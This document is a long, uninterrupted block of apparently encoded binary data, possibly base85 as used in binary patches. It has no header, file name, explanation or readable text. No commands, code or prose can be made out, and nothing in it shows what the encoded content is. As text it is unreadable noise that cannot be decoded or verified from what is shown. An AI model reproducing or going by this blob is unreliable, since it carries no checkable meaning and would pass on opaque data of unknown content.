z<*UE45W7?_zar*byVu(i5C7I{@OTtIhyC)iU$i{%;;%#z9KT%q`nN7m_{$%?DumBF z#jh`K`SEXB-uq+!Tqf@QqHkWF{`Fss$J)Gmx%M`k(4ThS(7P3d@V&zOhri^N$QO#> zSl;zdU%vd=fBh3`@2%#TEX$RLeg)5+pFi5UCw~#zxFZ}&+;O<)@SwO|Oyfl!Pk{4l zoKtqQLv{ed)n2&T8N1AhcK62m6Q%Rk5Y1>9QR}SZ0M??;R%YN7(4I`UxuY)?(I>OR z#6)1`cFK>W4(9o^hWMtj)uyE_Ey?I!Y+$Opr&$+#U4dc%JBDYJox7o^M!hy)bz-g) z$T*LzfNhAF`ZQl(d#(9ibKWO+T*Tnbj4$*kZ7+TZgAi`lTM^ zbulMQifHcxpEC1B1@-BJY{g(u1F-gTa$$}C#2;@u9W&$OgV!F&5|4Kp7A9Mr@=aeyn>K+ny1;2CNo^nt0dBUHo)Aeh_p3qV4~( z0|x#xHWQG3cf*z&{FS4iQZ)94(9JjKZnwTditRNKJ!;jaD;L?!T6cb9h|E>OO-zyR zSnwlcLTFyIvFjfhw`h?Ms zUm`+i;%kGx$omA+gFgsU^mSic7e|k6*#}{P8!q^roKIyBwc-W37BDZv#NS#&Z0~I7yzySq#!L z^^{pCc-tK2m_?fBZ53Wf;j1jffaFZGj(ugJLw9WQJTEO7GA;yjJutVhNxOJam)8eA zPsT6uc2nQol6Ne=@ER+NaNw`=NI!7rwF*0YLCB35Xaa?U5Xa>H%{ zN_#_cKK&!G978=y26vkFf}p~s{&uO*Np8)pR8k{)(lr!jc#?Atn18-*j7K!^u^pU4 zLqAraK%EAI9v`dMMj_^k0F)nFw)?^{!plYLDum`(K?Le^|CNr{w#{|=Xyczg zaKGW)<1*&63gO0bQMhm=Weha|;_<0{*B!ICmaoO*{!OEF!>fv)p%#AIMmBL$OKLPP z80Vp&9GdnIVtN0OPUXaH>c9_-8&(63XHS@J3p&G>8Xs_VJV6}HljpC30T#WLQ^puz z6Gsk;?pUd#vv%dkAK39dl6^@Gwi8$sn2Etx+0=1MZOSk{Z%addS_Ty9Iv(d-Fh~X8 zmoYExj&RN)zPir@E!)QT8WA}>Y%!%YuT%`@9LF8uiIe{EKZ|n)0x+RAwhlpD#KV{z zm$neo7Gucq;8?KFc9z*H$^pUtk~@4?Ty~Gm@+gqn+F#170cjsj460&*hNZe}Lyb^b zid6ie!QN(1mSxJ)^po^)cfDjtqdS~mSjrAvG=i8jhWJeZiW}5z5!7UOn@05kY7_8Q zZEo+ltHiy@#SB$GR0#j1-RFTn{YQR&dBR_LsyyPy5d%QIg3#p=HA5B|~erZ4+%!@B8h?mj2L z^>_d2a^uQ9C}86mBUs+?i{HOo|C8q|AO6Bm83k=I?s(?%;Lp5bx%Bi)=;E11fA|N> zo%ep^a{1}jd&`f%czM!iz8JATdFb7WLO5+*d&k>RWPc|n=%wZI1I{6Rdf)H<((U)~VNfVwZvt|C2nw%(x zVi_Nmyv(8BN+=4SkcX~T%;|v_9L3WpUtB!B2BqE;CptIj^jI+ z15lj4OoVAjmqY_wC{Xa5s9c0N2fS$DC({&mEE7dmXp0wSxERP++9*M*%%M);Jc$#7 zcT$Pd{p)zm1_2yIZ)jf{b|ZlKo_$OwxYF|*Aiq)8F2NY&lkaMxPcwHk*i9CQ{4l-* zu;TS4P5X`j-`$kEj;`ZbZsV(jQlQajrr~kpewvFX`lXklqj0z#IRUGnJLyp2aX`uO zXdHAl9&ftwc%QsajZWWYu8F49a|QiC%;DH0b*O`OR1X*=3})FQjW$R8B;4d89Gh?$ zSi7+S3~@LEerObJzDFs7-BB`fXQ$KyM+{{E*VA98tPUipWBw^(N%&UPce+pV0Lx3*?H;)1JV zA9Gd5K<+1PUzwWasd%RL<2~(IjW}gB%Ehz$j)%HA?$UY|wdSf~Z$J{9Z_HwoWMVot z^(4uO2ddkvwQWXUTgk43R=U&60lgMp^$I_|49; z(`UW-fj(jwzI8JiKdy$QYI3geI%-5P{Yr}yVCa!Z4A6)#NamE+Go}&AbEo(aS{K5t z3N9LytwM^Fs%V~Tw`P~k>=zm*>Q(Ha3zMtT)0{^;Q4cxUk|0FmAFeS`d}3k4*J$Pk z&MLGy?OxA~Lcxc?WX^odBkJ~MyHn65Q*%KU{C-1K`a77Yj6(vyzcjNGoQ{UBWn znHfhCENuJ0u{(22dLev3P|aX!G)tn66&QQG3fTw|;I@)b8}kc{*Sgp7io7IMP8@Kwb?;g(qDo4N#SsG`w;40+D! zQ8V~JjzrEYJ@Nx{n&Ut$zgQ5J_E@EB6U`^ah(&zaBCn2X^4mEY*pRgb8>Jg?0%5TY zZ_VPn19KdEQB}BQPTl7_L)oFIXwZ@m_DQ z*HQ?FlpMab&j{C}KR)5oO%*3cA^tW!8fEWJ@ZHr zKH>-ekL8K~-bYFM*z?UB^o5#t;H#ina!}>2*LUcAy5$|7g+lIt+>5;@tG(LOv-8%$ zpf8W?WoWRCoDht+=aPf=mO<{)?5gRV*suRiDMqzj@ z`Z&>|C+$E?aWMwD(U}rPiA!$VK%be&NnIBP7Q#u`&w}LFvkZYX8v$kmvU)?KivbtJ z>7VZ^;MQ{+6CAqh3ursAUN={5i|k=<(-~t(Hz>q?%sxql7dW^`lYipV1>Vuc3k<}> z3t=rQtD@K>v0U)x#TDbCBri@FH}9z88x}tQGBCXmPMS0zo-wl<_LIKS4rQ|c+k((G ztM22}+X&6>T3mG7Dv{2gTBln|2T|sdxJdCBm=}0SSMI%238Vo~adsWq?B7glOY|LgDB8uM+P8_X(?*+20vre(5QfT4H8g+9Q*3k?qG{06-f`lDshjt2H{27J z%Im`v(SPYh!XRTz8)mmT+6lb&Es96?*xcGiy|z3v7>LQ~ z5bVVcV}}$QVac~R2&Qty9JaPPQOGtr$9AS+Xf&j$V_#u&eDo$&*FZTY+W_s4rJNil z!LXkt0fxp}+sq>gl|aQKP`7z3cTuxM0@aMz2g=)-9P_lFQNHG!W3pUim@{iBSfL+= zL?4<#NX4cU!iwUyFCoVp7D*8=wnj)Za!;se_M;1U4hxGbvC#0p@~@nSg*dG3Jm@*J z`ms!U;k%+oK?3LBA+0+KSHW7+g27IH5u~1-r%Smap`wbBipYPB*^Rl9!wZzlcq`e5IhMauyo;=gNf{ z#x$4s!Pxv_kks#mV%>pBrBan_jgQ;Zv0-kv@yVY2Kr8;uhS>Bk`-rc}SU|Gh!(;U0 zXME7LWPBGAy)O-IhIUci*UcHqg~!-VFiqggN3NWU0ZRr^{2!It8kfrYgRaCQC7qIi zjYx;h___4)VT@e7sX{oeD=%Z8VeytRWMOOc4)BdLWXo3i+0sr}!J?+L0|7>ODjMS$ zdFASr<&j5tlLz(#fD8;YoWUAf88U#!+WVNsl6JHY#gM(Ctxz&s$x&{=5Pr5&Det;s zr>pH1ebD18?(&bdlIne!H~8R3SNR8-c~@{#-Zl}p;;1dz%)@X4bidzWj(i?7egRRB zO>DVPmy3JE>Cu~KbmzkJrhLU5v2KAd26|Fmq0%1rVZHaF^rI?-&wP?L6uKj1>@1YE zw+uo4z%FkHaw5nNp0~;^A9X`t@XE12I5JYa7*rhT5D`$aN~2uRcdT`+AdS4rfeYcY z7DZ3GZMI3HZ^sJZ&NYF#(0~0`bky@J--6}`4B8WrYvN0*Z{?rJ_FbsXiNvs?mQ_gS zJjJ&57hR{s3Bthl*kQLUra{tNm_RJ+`El4E3gt^VBeL-A+z{I~>;rLYIc$WZZTxYr zCfv2-1bO=f)VXV#XJtp~LJBym$dT`H;S3(24Dlw-S*3>F2r-PCXn@vW!CX zV|Ye*ux@5M?BC)-_|5pTtAjhJ@B1(QL)_xUec?*7;(U0Ck|u8m^6ir4?q_bit`?^(D5{RzwUxBupH z?f?3n^Fv`A?*F#GfpNIDyzLd=u{`?ga}J*$21w?K!sY8Mt|TcSCtntnr^94?fJZF1v3v1Lzz$(ocCmv!h=VNx;e zB9Xu%_>KA$Ke{@xlU5hrx(kDaaJ=dBGcf~TK$J_{YdOMetpJbbg|i*btaqEKIL<^>B2+F0bbnhi^IAO!<(|hI zZKk+nocbAL=0xIgVoQF)N`GrPm>oZU^sTK;o1LdNSn-?Nk$0*zAEIYcXB@$f$S%9a zFreMmkROdmo!EBS81CYrWe#cbMy4CK{5H>`?!trE>D`>>XJbs|{T6kU$L>SRjOtgNcWQ5IzPb5)vLC00SQjA*{y0M*)$Qto_HF^)JAsD&s>(- zSmqf1>8CNiMv*B2R&BZiOAO}4StBC;c61)bXP9}If8HZB7Ooc*`)a%KJ{V@{fHM|~ z!FM9KLYtgVP<}ZHE zcO9?q2%mc?uEV`=vbo|@%Vd0kqn3H4*B@;6z9Rz5bre-9OS>Sn@onx2CYDF6mSA4c z;GmZ}9(VhHKh(J@RhpP^tD?L%*7g$j|j%>%1XHPAS;$ zC&DxL@$o(*Sm^D5znzzparG1574|d0V{Jok_~`4$p6ieZz#RTuJLp~7%qh|Aqo1`< z?sW#~f(5Z-OE1rEvpFlj_{Wuw1GSdrA|x!%V*86UVULcNYSyY zQtrL>lOuwhnznOk8;pllY94^d8y3DAdhK(kW7y}>rEEEm&DaM949+)RVDaNZTdzkM z|Di>f^K@S1z!}Rm4W9@NpM6Z{;p;Gn%Ce0EQE1U42k_^a)4bS6!aPg%FaqtKS{^qv z8mBFR#u<|$jCJfDeaMgA=6t(tTVwD=GC3yKFedwI#}si#p<~gyx!Q2$p;S+SO&ct= z3RuN)%W_q!KC{tb;eYH;asN>hrknq_G7AnTY|gK#CCFK{Pt=^~qUQAS z3Hdk?!7v^*mcl)Y0gDQxk@E$@V!3dD-`6!FfuSRMY^#AAW5KxK^`G8glbZ@|l)3@B zeKM90E0{}sYdJr{=i=0drE|k+>BbyY)~k;NC&a`1ULg78t~W(}Wllt|y7669bOp{$ zlRp`)81cZ$C2b< zwHn{3D^svfqVS%1i&S(P4@ku7{=hgdy$KVoJX`HpjVx8?4st$cM2m-+3(md9z&!N9 zcD^FDph$g++;qms+ar-uCwKE2?mF7H_jle)FxiVIWkc zO@C3U$P4)!-Dq&5?@#mT!IL+zuCX`MAFw8Zsg8hPI-WB)!y;e$(Sxk{9p9&r!kuWQ zf{k9wBhMyZUS($B6T~IDwXq-^yum73&A+IB>{h4DAJg6PU&@-H!^u<7zm%_W)y4m* zvY+INv0y(ozoi?Vj-0b-ubQrH%z^5GHL_O*4V5D#Oha?s3B#L8y1w?DML0Z6v(6sn z$S@c2!bXgaU>Yay^I%=N>Wjkg2toQ~(;fg)u=g*7g4C#aEQUj6QK}tFa)7 zBSR1;?t+a99>=ZYTmag&+{Crbz&{vq$WqW`!|HL+cv}_1;hUSjWyoO~1E2n07aYsz zv00O^BOSepot#Vd|B85psmDnopVL8|uZOWt+~25UBCNVDo9s z10?CAdK!oOm>*CL1JJ81a}%t|iwDLA$8LP3lQa)+EIoS*9h@?kNtz`mz5$x*isBDM z-}&7!ma?Ndh`V#4c8|Da3-VIe_K?rHA_vCh*r6X634pXRl*+An5)O1HQeZVaFFe$Pg@J_X*5a6fx&KSqfh@qEQIPR^^Wl>|Va zSkb*7tl3s+ul{N}$`kbV@Douq$V%DIKXX#D(xJ>5$?3jy)*agfABy0>o(q)KY{S`zx!`} z_h$Nk>tcRPQg{C|;we|k2;dqU-8IwvYgo0Gby znNMAbxAy6~)Mt5cx{;w@yowoiu;Fxxu1FjC5yQ41 znTn~=i(M{wT)5+saV?7NyuwTla>Jwx95*(4<>DVa;IlywSOVk-X7WdEFOAIuVP5&3 zy2@3?cIO~Z>_0x)_aw$X{O))9#PRq8k9Vb=N9p(?504A+*fu1NH6QqAeDaJ>(sy4n zu9q)KSxUu&3AX>Il6LV5$>&T-B?>xxwB#f>IM`*^#L)`>?5wPM=z z&^0z=jwT1u;`0M)IufuT-Dw=%!-%XwWc3;z44XJ@8pPEXuy})S8Nd2dpshOo*B7(i z4?&vbQsvnhg^gZJo+7gJTjBBjN|Vco`MAbL!AJVmMgRrt%dF6ijKf*ygtJocN$ z_1PnAQ%`%xS{qkIXq8<|Yzz)_-uEXn`MnXY>z2=1ZM0vPlQ`9CP2(TIPCH#D|Z;gfT}zpM^1S&P6`yz@Y!M zA6eP=z1OFW@bEumX3*e++lbTu%O30X$&mn@6Xp8OdD=HW>e$RZjt@zuJSvDAlVhul z>SQB=mm&Sm+mpMoMWkuAj@t7$xFW`tMkSpQETwv2hBuAzDOGceUn4g_ASOSe3nYKt zH=A&;Mld#dZc5%BnWjVI)>lm=dE=c}mWxt@IwBpPk)GVqi@(&pwzCob{r7ygeq6yt z%+vp>e1r9sis>i()41Z@2>S;dr>{i)%9~#JPn=Mh6FAJX9BU@J&yDaJ zY`st+NiQ+4H31RxXo$;L&^+at1$<$Ho`2ZOi{ekGYg3d@w|ivg!vywQ>IXrb#H{W7(UTAFpd2zMg`<`!iPoIH1X0=L_d@^U8)VYC*D5X^DpVDn{dgFZ@t5 zc5H+%8bI))uA_AVbk1pr7ErV_SzA2L8EgB3QzMt05Cb?qM9+Nn#b|E!U(ebE8YnJZ zPz>Nk4zN#t5+&zvz`OI(Y97O@tor6_e z2xUHTUVF0Hjc{@!MK(*O@QLuh^WXpHAHD~>5~=q;hJ12H@j!2d%m_pE>5P7F#n<47nQ;EpWF=>pZ%hL6F1yJ;thbgiRgurh>os0 z_!^&k0~cKE`eHqwghc1cCQjQG5o{O9^oFlCka6DD*J#{#rpK2k>lnZ3a-qd{HmZ#; zU-|R#ZiI7FlTTpO?|jlBcDca^Wpd;;eF_~1ZCo&1r0}XcQ^h*Pi!4XUyE9%hM)XM% zSmx=NU-w|$7#G9b9;$mKGd@F{E&H95G-MTl5_bN>#j2tEJpXvHyVX^`FxoLBMTiG6bg0OqOFZ z;^Pn1CYuQXhV=c<%DBnrUQe{FPvAw!VqG&OpK}SSiu?)ol}+DFi`>KLT!LF~R1b787^U>;bH&eu?1xUejIQ}@YSTBn)D@n$u8 zu71QAea{5ugI=t81j}5x*V;ZrUOuW!;k+qJis|?_^UByhxZiu9`eAJDZR{&^lW7wl zEHef|#}3pOpxL=@x(;Srr0r6`gh4rtbl34cPxzEq#K61pK(nQqiO}O1Rt22p@W+jM zQ;7sAY8gd40z-K4>5PCXTQRA55c`Oz;rqpWC4o0jl$^ZjL9DsP#gEYg@#v2wk}jHa zPZn&Rd$HX2P)7;HV|XT`$ol}-1~mn`BAPgaSt)*c!KK@RI@d*wZwdV&d>0W^*V1H(IjVCOnD%0 z9fMyV6T^*h)Q_KT9Ly(9b?wWr+HMSv2mkm{opHQt!V~e?Yg~z1JmPKas#8E#c{r|q zoEwqYreiH|(l~wY^|>ei6&vAv*eLsR=7awVAK>@niF<7A{+6!yrm3_0*y0~${!TBx zBb*OBv6h}vk^fT!o8l zb9lV6ZhPoHH^SMJ*Rvh>s`9C08=vvDnyM!m*zhmoHEoBugzF=uKO>73OH0O0?l1J> z{?+mCjc{#bOFt%Xkl!)1?A=(x^?B-ZRnO@1<1f5dp*b}lRI}NIrL5u-p;T|LptUe)o_5+yCmj zKm2cN;r>$kPmF(BGVo{r@qhi@pZ&Z4qW+2J|Nh+5`u*=_b41enLRf6PeZ!O4KCI?KCf`LP_Up@S@0$TTWglhVz*a>4QS2`ls<}|o z2iqIf{_~}1RIZjI()b>N|QzSP!zLC&PK;!GDWGadu685j* zCf|2#Bk8yd8x8ZvWV42^_Ax5U$Lkv+Ha58qTGg1xQT806xsw*w9I*vIc__{SxKeJ} z18mY5)c}kj)in<6DUJOQJ~rw>Y%~|tef7o)CzzxCD}>I+lgGhF?{yqLn*L)EotO9v zB)022HHG!yJSY(x#NkcvD8$31e@Qf(iH zSCMg|m`ImJ+uq{y5|B%$Pup_hr#=2!2EE?IN3OZcn4-LZ)eA*5ov;0LQ#Zol)!tTn z*fk>hYJ6F4Jc&<&1DsE~ z&H^V9$`shI_`z=Q7DRZJ@)qea;-Z7As(C$m>e@NrJ)@ zC7*7oGq{iuq@!&<`^%$H`vE2Zk^Rw$2d~g9) zS@OqTIE7i{(J8;`r~l&np&KH-+QsnX;~jMqPHMs1di#sR!bLE2+2_OWE|zW;j}Ttyn~P?U~d=9iFso?26o=Kqp51%r!1^bwEhh zQQD19)EeG$Kc!v0U~()a^~_(^<;gwwsN{)jhDa)m*Z3qQ$1`Jo*IrS@8}Z{<--L!) zEF-9&^HcA8*se4!FmuCZMXR%?f!u)~J{~>EOX96rb#!umzlh-5kdRG2z@K^OIar-a zwtws7?B?#QM@FA~*%^>kh@T{?Y*ceCVAhB%IW<`qxvu~4!}q?1kA5$<{7*Z`2=kBaM!fBbkALDO26|lgM{JuK8{^H**QKs z7BZV>Ti>S-4R4OpX2{AdhBwowl4a^ zKK=(reE%Aw&){C;#E%L`JB`L^Wz4_Y2xr{TS$d9lBh)8H>9xf7zO)**as|cy--9UCjXXKb@6?}?R9aMwc~InMyoYH+mTK$BnHw8dGX3PqYJa(d z!F8yA&bK0TP5uja8bi3=Ayf5Aw?6uapH3mjeO^0mxS8`Khv}Ld(x=MslGD7qp9uHB z?2YhGnt!7GDFc734CsxPU;ImdCbWO}-S7YB|MicB`p3o5jZ9AGeNy`j&Du66n-?}& zewE6}*fVmtsw!6wl+p;mbe*OCp`M3L%c*a^7lcUPML?YV7G*66VX$ENHJDvkjA3A@ z)>X*@;0s%S(@sO-w2S+RYjNH#CZ*q9_G_qH=^#h3>h zJSl#7#}B$;BaqVmbg#f6d}u_us?Ix7_4Q~V7pdl}tRs3r4yO&*X6umiGIOZo+|3&V z!RN+pKXji@NetrkW(fbdD;eyZu&IeP`7+af@7%z9&tn~(`9dH;4r7vO@`!?CTxK3~ z$CGf{BSW=y=)VmI#8u#r`Qw35UlfDN@#3i`pWa9cjJz$HB4Yn671yAO7gozhWU;{O2!% zJZBjjess?A^;qZ6rW%OUxUnt2WIfmttnA>vR`sLwVE>3xg;yQR zSI@2E=oYMxlDOg{um}Nget3ZF$>OmhF@_12-{^L{zzqIW$MWRL^NO}!6=7U@E$;ln zB#_iN+L~)Q#X4Mn4hqCrkA#l-HAraiv2`p>VtR%h|=vB5cOoH5dls zFy%F72U6yik3$@*(z#b3KR#)Dgy%0&^J(G^ zq%BImInA5n`Ht|84>IKHZi45&Ha6KmBgJ5G7CoqQO>Z=gw2=U(ygzbLeCNswNH zbg$xjCVkZmg*RQ}&-z5T)_;#&k`@mlZe_;$hb;~qUaU1}0>iAF|-QkVIAV^0! zUz$NT;0tx;#U0nKf7qx)X;{4^F&&H6Vai0UR(&+t2TU*)l;buUV$=lmxDvTzOGJ;6 z_(C3=j9cU@2hU(OfFYZkicaz|Zp06B0Rju8qMY3gz(+zqnv;7Y{4cZ-&Zolr7u%71IgT&r$E)EBw>Dlh)V;A~4iVBw*Pko$P&a#I zVBB$9MA4tULWsH;ZGK^@O5d(=;3P3f_dK5d7yi8YUWc$4=CN%g(<0=2shPZO#nO)I zPin+d%?AMl%XCMq(rgBwP+&39q&6L`CTNJ!3J@ z3-ZcLh9;Co5h_PxE}v_*{^UZDaj$ItvOqQ*`>C#f1&PD$rIrqAheboi8bi@Ul?=y} zZn`bOXP&n+SFLb`QH}LDZa;*Q-V$+BApRvs+!Tpef1+sn*0uk{kk<#KR}x^R)pj?+ z{Rt}FP!W4K?+`RL8;P>vPcpcjegY_xVV{SXYS>TSU#B`Kk3WB?ZvppNHk}8>*p4hF>w2)DwAe}eQc7y@8xvEX ztk4$%zVp&O9-9r&{GhIfOCAK6%ii3Q|G(8===py|%mb?!7oL{-U>hWyd$emD^g?E0 zb_~V2($hkY5<7Y5y${diGdTsexY790qalNPWs{SRy<=BSI7h!O(b@b!zhXzi`Jt&C z5S{%Fi_RHab4g`+$UfTYZGw0Qd&!+9vK#C$7SYYsw+#Kv&=+$D!N3nSa&lkjJBN0e z!_2v<3*>2mHHpNPi_v~_bmpyuqqiNv)AX+&vEmJR+f5%`?6uSmdfCVi|7?&h+3H}c zdeGd1fE^3z=wEuFw6dR8w&3T(s2trFDcC;-@enw8FF-Hd*ZI`BT6OM&+0gr5e*qj> zzMGlr7@Og}o=G~%c^{{pAKBjc$^YHx-D6}oJ?Qo1#c>Q;0X}mm*l!q1jXQ_TsrXF{ z!7#*0Uoc+nHv6yi7(mDF9u(-GWkWCCNR23GA!|~u$+NjLn>@|GO~_#0WQu)gXHG^S z{bAc1#oPR2y*cBW&|Ksbn%cB19*PpIw{}yucVzH(AC*%oOM+Huu3Cc-ku4Ww`wUaU zedDeET*$3ARFR;fkDcTvu@FIWQM=JGZk)Q%Kc!V23}Q?DU+Uc9pCfXurC^UR5OJY1 z1%F(oiXY{s2GcKhnawtJ>_Nsx{~FO^IxxP!$9B(G$8PCyCPojw?A$!(-p07n&wah* zXA|~DLj<{o7}*mj_ZH0M$42s*g-t09--dF)KWmw=iRSmS$>Z0xS(Nd?H<2Xw$ zUFzI8w*50p2V_Gpw@P)LKD?kFSv8#ZH#IXx$6f@#a*%3b(=5t$VQqwGlKg2SJZb#X z@lP4hx#OFcoCoKu&q|-uirEgYQ>?syOVhMFUySy+_DevG)=w43T zxmW;98FT6_Lu0)%@g}|4;ij1oq=VYRLkhY{$0<`eJW68?alDOUNW!UCz1eu`yqT8X zI3yfHEet?|1LxK8v1PI~BZ3mLiiICb5x4szGB(hvpH`a#kST4|KGd-_63)yb! zPunrI^V@JxnG9_?FhPYj^9Df`=tq*q7$=rK$axN#F8&A~l<^-wv-trk<)GR|XgS8r zwR>%iP3JN<{(+H(@u~6v>Wu?GjNAv(ZR4-nj&D!x6RXI{`#=NlHCE8-pWmENuh`Ts@_iS3O<6Xgxe0bFf^tO_36+g*%aO-ulP_u&sdDU zWjiXwUk3u3|$}1^`?Moa=`q08Je^O8JV~5y(tJod0gc;9gA+M#h zk=!@Fa;d>@Ne&_lZRf#Kl5K4r0V3_=QETHx)(UeNy>0tOEScj{8c(@kz^NsBa600Q zJ|2|pHv#cqFZ|_Ge%^%XhTHgL^d!nnLm4u&Avxw3iHaI?Xev&8Ot5*ReQ!@-ya4)nVtwV+3FM0^4J6 z+c5HL&cn@NFA>Ob?X3Fc!Y+daX66p9secIQ;b;pLVyelJQ134&*n16w>&K zFZR^7T=0Evu^x>-tbweB_?(i68Xx0r|Bn@1x5HAAE_$Py^L7a$R#@5VItVRaHwAz4 zgPPj>Y&FOfXk+#CAy^i@;|2&6m~bOR91%A29GX)kiG?>FZUL#$;$D#9`<}pnl?GuK ze5x;{lLHWO1$n*lE1IZ=S4%!*Bb>GS_mPw$Yo*sq=Q8>Zu^^ZM#!!G^FM9q&IP0v= z)xXf!2K`4X@8x?T$5 zel?1X-UHCb;TX-NftoL>hka#^@M*mA8WsWs(Y|V$5`Su3`YY%5uaa+Q!JNc!;&vh@ z@=4J6he;PV(!0t0E}H^+Aj?g%-hI?V5(}7E-q`GOC;j?l3;AmZ@Q z*H2q8NWalZ$c4-UcH|}K5(XY3gA6i7xu2gh#l!ov<7Z?Zo z)TmW&BU?>vSlb5dV~0jzV0^0-WXX`HH+9Pmu$Z>*+ zFq`W$rc2kb)qAC{I3riVSH^okbNAA><~7sS=3bq&BvY|ry~R_NJx@zxq=7HbIU*2&z`0LD?PJl={@ZNNrwLDD@Y$BQrwd&SQ)$Ul5dB@R3(;6aeyg!ZSU{$XHdu z_(z@C7|T?(-R1-y@-V?w@wvU$zK9~D*F!X&v0~l#Lu9H}|Jyg70UB%8nhC&g9iw~Q z86RQjWqR5q7-nFPd1?OnK{G5SNyge*>7FHgTS%K;8}{svpB9f2NtLEjk$*pGEGhO`_d@<2&@&)d zt>ve0&t9ZFoJJ$}JgCVp*~mXJJpD&-hk*BXC`2LsrhfxF}1D(&*QWA;h0hoZQO3SsgYWMA# zZNwjm%89Ojv{PD7m&&9M^hA3E!F?f#7rWKAw_cBUo`I*A{itX#?Ds+bn`z)aC3%s@ z_@%y|w&>Ce!BIJ0YmAPShcH;vbJelfG|=C0WTPV*gJ=}6*UKl$doLNp-Cc?Tt-R9Q zZxTjecTMtGF>mgRIhZ1Z0rec4>kj(?kfRex^P%Zg?QnWb?t?d=WjSZ3lg0w7JDiWX z&i1QD5RKoocHZf?*xELUgNm2yDgNM@{qHpeHZ=YCK7?zg|M6eOmUB4kW^jt12qS}D z&TEX#=#MQy^BaE^ob%NnE&VBjXk=p<+iW!A^R*#NUtht+qJDfnN^KR7ne@3Q;C_iu zg(J^8z{O_qcW z*9XB+U`Aknw*JmPr0vI<>n^2jAxSB zK`i-6rYY|tiRx$D24f~^?hkx#%3Rglx1{_$o7ufzldR`Kk{>%b>EBp{?{m|0bM96B zY4G3ZAIjzv;b#nu&}@?n6Kvmh=)wknm=PI4syK_}ds%+g$`&%p98&qXMSi^furK`s zaT>yi^-U@8_N)9&tK4gi>_@q`m?c#~8)){Qh|Is9uOH>>+))c5kkj^jQd_@5d))}H z7YD%&Pck0#aHB9TQJD8$|5f{Yg;fDYE zN`d81EO3!hZ9s$vdsLse9s^eigj34r!ID$rVeB#fl zx%lV;D=WfTn4+YRhg~X@8|qvT$?Nrq{MO`MM6xl^*pN07HlGF(4<_xi8ysA!<9XmY zJM$Ja`)`Sgj}EjL;kYGEbhZTsqOT4a=9>rOE;Wbc{vv)8;m4Ww)rKVd3HFBhBVeDD ze?;YtJ(>Fg$~ksAeUP>(M%gNt8Uu&dM%B$8>4y>>30FQa+uY@Cy)8fV40{-!w_C=z zLl~1aMg1l!+7T;LguA*#+oq2oG*iL^b$3lw-sLFgozFcxJ!jLx$vGZ-j^$3sr?b-O znHy6$D=)`x*7ms5b%>kWvj$esBBP{sLyo47mnG)zAQ5R(%bIhr_WKD#@^?*=i>z(- zdKirtS>0(#zM#h&TMTxhKO)Ypu8mwD`6QM4XoFAtlwOOZ=#4WT(E8vpLb|%Dg%3wd zjfJ7+YbqY1mX3VruiOjQSolZ`ZaOdZZE7Ql8Ch-=^H9?m@iH+Yc`e3+;3CtIu2gcI zPaf*Q$m?>)NjO(^ccv`l0=hKA!=I5Cl$-T!E#E}Ov=cIfSAbd8R zGrr;}U;dL&<|^~k^8kMWP#F6%?zt`g&97|hKCGL~(7mxfc%$YjIofE6$QyGypNuII zi9I;Ea*zldr$< zJ@PN~rVRJW*h&ubN&C$6QJTsTOOD9=#>%vzpS(~0v0kedJ3YJ_`6D|9s3N=w(;Rx^ zz=vIeDhl9^Jlsk-mxIx{!u)DEIY3u_#WjOTg#7pzv%@EcNHk8c(ie?Q4#rOFEL6^O ze|m0ho-}9Z*-sswcHyW9G_E%q5ioR0=_0r}UL5igepLly*v-*VgXd1KqC+?WG!`~& zcSDO9y6We5uI-wun$N6B9Siu_hnBTT_wMAG>yB#ThetknBQbiJtH0Cv(6Qv&mQP}4 zeFZn`$ZVY1kKt2_)Z4c&_sekdq z>s!}2$>A%0Sm%KOj*5dZ1HsUA#KP?z^0B;@dlgt?4T+E%TrSaZ0#vs2o}p@*BD4FtXvfJ!<5;&!Ul;^zK;8IG&0iefv$^Cw9-FwGnO~ z;>f{J1EW9a6U)34hcb(g|Ld?8&J)g3b1-w(z)!gXCkRbkKR{}cq#%3ZsQ7kVe4i8# znmg8JA>`!%=LXpi+D4Yh)P-)JG_>Fw1z&v0qDx1ICN46gV}~Umy$+(!3{<9AUF{+# z#!?TwCAd&_Q=IlhY}-%V?e!RHB?I@ndGjz^+x5|5H3aK%Gogz$e|n_<$Sfy3?)X|y zz3}*}4)V_g=xa5ycA#pdj@+0-k#*wZ#+RD{=bATG1Ov`lX|dSl&z?p-i9`4rU|i_w zP&_m3itI5i+$13)Jzr$&H~nZ|6}JpGt;Rq%IES$tGjBHOuiPHr|H}GH@w3OGeq!vj z7GvZ(Z$61s^v7yre6ah#^q2@~jqyqCL-5De3j%E#DXa8P?Ord(2nb2pmZ0sbt^h{ag`DERM=YwO3UNB&?Zn+RM>ltgCUV!@HUQFjevVI5~aVq+Kqm~;xuT7H6 zM)(yx?p;z{8p?~r>9!Fk8P67ZXCJ%i#?l-6@#Dx1gyWVDn<3|6?j|nrO342gU`b@8|D7QzRquKVFvlL z#+jCXF3No|xnmQY`(@`<`EcwrCz&5E@+`*ftU+7Si!NGs*}eco}*){O<*KL?uf^}_@3O3#Yba-Vk#O9AKGb* zEO{|4whmj=&JRVO>%8J4-r{=B*~e%ViQbDRMoY}Kz&KY=wVfD$E3)guQlpBS|Dlb_ zjRApxl=eYoNYQiwne7l9VnAFkQFq0PC=Ih^}hahL5v7mcy^I_g|0Ph%wct#s>=?ZDK9I#w~&fA|CU zMzS*Z#<>>Y*IWlBlQ-h|E0(NDepUdxViNCgLn~Zd?mLyphJG?Jd2^{ zo?9Hmt9t|?CS@Zr6}lsY$S%b&U%uZu8j;u0*ziRUYr(vrzH}}BLNgo)14sPzh1#i9 zer$@4i>yyG`I34GBQc4L^zdFxJC@F&swF^rBVB*g$5!WO;%BbCpyF3awwv=7a^`5} z&pD^1&o!jq!_U1Lh78dfUAu3Ga5QfltSv_Wtyo~Ze;qIE4_r|X-slAnZaF&>+uAEa`lTWX!tQVFziit8 zU_hV0^HsU0biML=&G=1@>ap_;eeUDqh2lWqEhk3QVX*O%=wj&K7+ z-GztRh&E6cF}lmetAqpAM9mE{3z|OJu>-B3VYpcw!XrR}7G1C2#2}SzV-(>h*z+J) zoYospZq6mrR(m+!+XWxQ5_SBITs%8#sYz1S-!TsYu6PV8-)+jmr_ zSVXYsWFuTBu@}HZ#{}X;-{p8F<)8gb7aDG+wGqz3f=&3zbshluB)Gr#*AF1zXCZrc zukjrVLgHaS7e+2>;I9~&PZ?|QFpZym*@^gJkJO)HonwL+U>G16BJ=@-6U=$hO@hw0 z7rgk3`hgo8R{?t0^Khjvrb?8Tc@bj4unUD@@oic{_22M?F=N$hg 